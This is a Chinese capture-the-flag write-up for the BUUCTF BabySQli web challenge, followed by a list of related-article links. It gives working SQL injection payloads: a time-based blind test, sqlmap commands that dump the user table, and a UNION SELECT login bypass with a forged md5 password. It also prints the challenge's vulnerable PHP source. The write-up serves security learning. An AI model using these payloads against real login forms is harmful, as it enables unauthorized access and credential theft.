文章目录

  • 利用点
  • 解题
  • 分析

利用点

  • SQL字符型注入
  • UNION SELECT联合查询特性

解题

search.php的注释发现hint

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

先base32再base64

select * from user where username = '$name'

明白了查询语句,先试试admin

提示密码错误,证明是有这个用户的,因此可以通过注入查到admin的密码,登录应该就能拿到flag了

[POST]
name=admin&pw=123456[response]
wrong pass!

尝试字符型注入,时间盲注可以成功

[POST]
name=1'||if(1=1,sleep(5),0)%23&pw=1

这里偷懒了,用sqlmap爆一下数据

>sqlmap -u http://03e43d54-5149-43dc-b801-e776b555f1e0.node3.buuoj.cn --form -D web_sqli -T user -C username,passwd --dump --batch[1 entry]
+----------+----------------------------------+
| username | passwd                           |
+----------+----------------------------------+
| admin    | cdc9c819c7f8be2628d4180669009d28 |
+----------+----------------------------------+

密码被md5加密了,而且碰撞也失败了

可以借助UNION SELECT联合查询的特性,新加一条不存在的数据,通过自定义密码,绕过登录

SELECT * FROM `union_test` WHERE name="" UNION SELECT "admin","hacked" #

原理是:首先示例表有两列name和pd,select * 查询它们,由于WHERE name置空,查不到数据只会有个空表,但是有列名

之后按顺序UNION SELECT,就会插入不存在的数据


查一下有几列

>sqlmap -u http://03e43d54-5149-43dc-b801-e776b555f1e0.node3.buuoj.cn --form -D web_sqli -T user --columns --batch[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| passwd   | varchar(32) |
| username | varchar(20) |
+----------+-------------+

原表结构第二列是username,第三列是passwd

构建一行id=1 & username=admin & passwd=md5(123),然后用123就能完成登陆了,拿到flag

[POST]
name='UNION SELECT 1,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123

这里相当于是把原密码覆盖了,而本身数据库表内容是没变的,只是UNION SELECT虚拟出来的表

分析

GXY_CTF/search.php at master · imagin-sch/GXY_CTF(github.com)

很清晰,注入有过滤,通过$name拼接UNION SELECT,返回的mysqli_fetch_row($result)就是我们插入的数据,然后通过验证登录成功

<?php$name = $_POST['name'];$password = $_POST['pw'];# 对传入的密码 md5$t_pw = md5($password);$sql = "select * from user where username = '".$name."'";// echo $sql;$result = mysqli_query($con, $sql);# 过滤括号、=、orif(preg_match("/\(|\)|\=|or/", $name)){die("do not hack me!");}else{if (!$result) {printf("Error: %s\n", mysqli_error($con));exit();}else{// echo '<pre>';# 获取单行结果$arr = mysqli_fetch_row($result);// print_r($arr);# 第二个元素是usernameif($arr[1] == "admin"){# 第三个元素是passwdif(md5($password) == $arr[2]){echo $flag;}else{# 密码错了、用户名对了die("wrong pass!");}}else{# 无此用户die("wrong user!");}}}

BUUCTF——[GXYCTF2019]BabySQli相关推荐

  1. BUUCTF | [GXYCTF2019]BabySQli

    BUUCTF | [GXYCTF2019]BabySQli 一.必备基础知识 当=号被过滤了使用like,rlike绕过 当or被过滤了使用大小写绕过,双写绕过,&&绕过 二.实战化渗 ...

  2. BUUCTF [GXYCTF2019]BabySQli 1

    刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!# 打开容器 就单单两个输入栏,,多少有点简陋 看标签叫Do you know who am I?看来是要用,先用万能 ...

  3. buuctf [GXYCTF2019]BabySQli

    今日份习题 名字叫babysqli 主界面是一个登陆页面,看起来好像不难的亚子 开搞! 通过尝试发现or,=,()都被过滤了 输入的时候,一个是wrong user,一个是wrong pass,尝试抓 ...

  4. buuctf [GXYCTF2019]BabySQli

    常规sql注入都行不通,查看源码发现一个search.php, 先说说base32 和 base64 的区别, base32 只有大写字母和数字数字组成,或者后面有三个等号. base64 只有大写字 ...

  5. [ buuctf GXYCTF2019]BabySQli

    输入账户 密码 后查看源代码 MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VS ...

  6. BUUCTF[GXYCTF2019]BabySQli

    SQL注入题型,在进行了自己的一些测试发现,用户名存在admin,我们F12看看源码: <meta http-equiv="Content-Type" content=&qu ...

  7. BUUCTF:[GXYCTF2019]BabySQli

    打开靶机 是一个登录框.右键看一下源码. 可以看到是以post方法传参.感觉像时间盲注.随便输入一个用户名和密码,然后bp抓包. 我们把这个页面全部复制,创建一个txt文件粘贴进去. 把这个文件托进k ...

  8. BUUCTF [GXYCTF2019] 禁止套娃

    题目分析 这题对我这个小白来说好难理解,慢慢补坑吧.PHP很多常用的函数都不是很了解,命令执行也是呜呜呜感觉学得还不是很精通. 打开题目,只有如下: 看源码也没有什么东西,常见的信息泄露:robots ...

  9. buuctf[GXYCTF2019]Ping Ping Ping

    buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip=? 应该是提示用get的方式来传参一个地址执行p ...

最新文章

  1. 3次握手中的最后一个ACK服务端收到了吗
  2. 易企秀更换模板里的音乐_易企秀黄金:探索中国 SaaS 企业走向成功的路径
  3. Ubuntu12.04安装中文字体,解决导出图片乱码
  4. mysql 经典问题_mysql经典排名问题
  5. ASP.Net Core 2.0中的Razor Page不是WebForm
  6. 前端学习(1605):组件传值
  7. Selenium两万字大题库
  8. RuoYi-Cloud 部署篇_01(linux环境 Oracle +nginx版本)
  9. oracle 循环继续,oracle – 是否可以继续从异常循环?
  10. 更具时尚感的服饰购物APP设计灵感!
  11. html5移动端开发(rem和媒体查询@media)
  12. Java编程:排序算法——基数排序
  13. maven下手动导入ojdbc6.jar
  14. c语言二级选择题APP,C语言二级题库
  15. 微信多开脚本2.0 批处理bat,可一键关闭微信
  16. java不使用科学计数法_java不用科学计数法
  17. S.O.L.I.D 是面向对象设计(OOD)和面向对象编程(OOP)中的几个重要编码原则
  18. 实时可视化大数据项目02 -- 项目目录介绍
  19. 新博立,存此证-关于可用性的理解
  20. 完美世界发布2020业绩预告:游戏净利润预增20%

热门文章

  1. 2022年电子商务设计师备考指南
  2. 51 计算器实例 按键和液晶,组成最简易的计算器
  3. 参加计算机知识竞赛新闻稿,铁道校区大学生计算机知识竞赛圆满结束
  4. 计算机主机启动不了系统安装,电脑开机后进不了系统只是在运行怎么办 电脑开机进不了系统原因【图文】...
  5. Linux学习(2)----一些操作
  6. SSD对HADOOP集群性能提升 调研及测试计划
  7. PHP去除文章的html格式
  8. qt 工具栏显示图标和文字_菜单和工具条上图标显示不了,为什么?
  9. solidworks学习记录(等距实体命令))
  10. 华为抢占别人商标鸿蒙,华为鸿蒙商标被驳回?多年努力为他人做嫁衣,只能向现实低头吗?...